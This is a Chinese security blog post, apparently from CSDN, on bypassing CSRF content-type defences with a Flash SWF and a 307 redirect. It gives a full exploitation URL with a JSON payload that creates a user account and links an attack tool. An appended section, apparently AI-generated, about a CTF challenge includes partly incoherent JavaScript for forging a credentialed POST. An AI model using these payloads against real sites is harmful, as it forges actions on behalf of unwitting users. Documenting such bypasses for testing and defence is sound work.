CSRF 校验CONTENT-TYPE绕过

本文介绍了一种使用Flash结合307跳转来绕过跨站请求伪造(CSRF)防御机制的技术。通过特定的配置和文件,攻击者可以模拟用户的请求,即使目标网站采用了CSRF防护措施。文章提供了测试环境和步骤,以及对浏览器版本的要求。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一:flash配合307跳转绕过

利用方式:http://remote_ip/csrf/test.swf?jsonData={“status”:“0”,“roleId”:5,“name”:“csrftest_2”,“username”:“csrftest_2”,“password”:“637c3de5385ae556ac6bf955340a713f”}&php_url=http://remote_ip/csrf/test.php&endpoint=https://attacted_ip/dm/user?timestamp=1558073429923

remote_ip:放置test.swf、test.php文件的服务器地址
jsonData:原本需要post传输的数据
php_url:test.php文件所在的访问路径
endpoint:存在CSRF漏洞的访问地址

相关文件地址:https://github.com/sp1d3r/swf_json_csrf
下载后放置在特定的web目录下即可

详细分析:http://www.shystartree.com/2018/12/08/%E8%B0%88%E8%B0%88json%E6%A0%BC%E5%BC%8F%E4%B8%8B%E7%9A%84csrf%E6%94%BB%E5%87%BB/

在用火狐测试的时候,没更新前能正常演示,更新后就复现不出来了
对浏览器版本有要求,导致307无法正常跳转,推荐火狐49
火狐下载地址:http://ftp.mozilla.org/pub/firefox/releases/

之前一直都说csrf防御是加token,默认都是加在cookie字段里,由于这个是保存在sessionStorage,所以要求每刷新一次,token就必须更新一次
今天开发同学把token拿到cookie外面,且token固定,测试了下,貌似也能防护住

关于localstorage、cookie、sessionstorage的区别,参考
https://jerryzou.com/posts/cookie-and-web-storage/

### 关于CSRF Challenge on CTFShow Platform 在CTFShow平台上,CSRF挑战通常涉及模拟真实世界中的跨站请求伪造攻击场景。这类题目旨在测试参赛者对于如何防御此类漏洞的理解以及利用该漏洞的能力。 #### 挑战概述 在一个典型的CSRF挑战中,目标可能是让选手构造一个恶意网站,当受害者访问此站点时,在不知情的情况下向另一个受信任的应用程序发送带有预设参数的操作请求。为了成功完成这个过程并解决问题,参与者需要考虑几个方面: - **理解应用程序逻辑**:了解目标应用的工作方式及其预期行为模式。 - **识别易受攻击的功能点**:找到可以被滥用来进行非法操作的地方,比如修改密码、转账等功能接口。 - **创建有效的CSRF Payloads**:设计能够触发特定动作而不引起怀疑的有效载荷,这可能涉及到HTML表单自动提交技术或其他隐秘方法[^1]。 #### 解决方案思路 针对上述提到的`app.post('/submit')`端点存在的CSRF防护机制,如果要绕过它,则需注意以下几点: - 如果服务器仅依赖于通过HTTP POST数据传递的token进行校验(`req.body._csrf`),那么可以通过其他途径获取合法用户的session cookie来同步获得相应的CSRF token值。 ```javascript let xhr = new XMLHttpRequest(); xhr.open("GET", "/auth/login", true); xhr.withCredentials = true; xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { document.cookie = "JSESSIONID=" + getCookieValueFromResponse(xhr); // 假定存在某种手段可以从响应中提取cookie } }; xhr.send(null); function attack() { fetch("/submit", { method: 'POST', credentials: 'include', headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: "_csrf="+encodeURIComponent(document.querySelector('[name="_csrf"]').value)+"&otherParams=..." }); } setTimeout(attack, 5000); // 等待一段时间确保登录已完成 ``` - 对于基于Header (`X-CSRF-Token`, `X-XSRF-TOKEN`) 的验证方式,Postman工具报错提示说明客户端未能正确提供必要的认证信息。因此,在构建自动化脚本或手动尝试破解过程中,务必保证所有必需的身份验证凭证都已妥善设置好[^2]。 请注意以上代码片段仅为理论上的解释,并不鼓励任何非法活动;实际比赛中应遵循比赛规则和道德准则行事。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值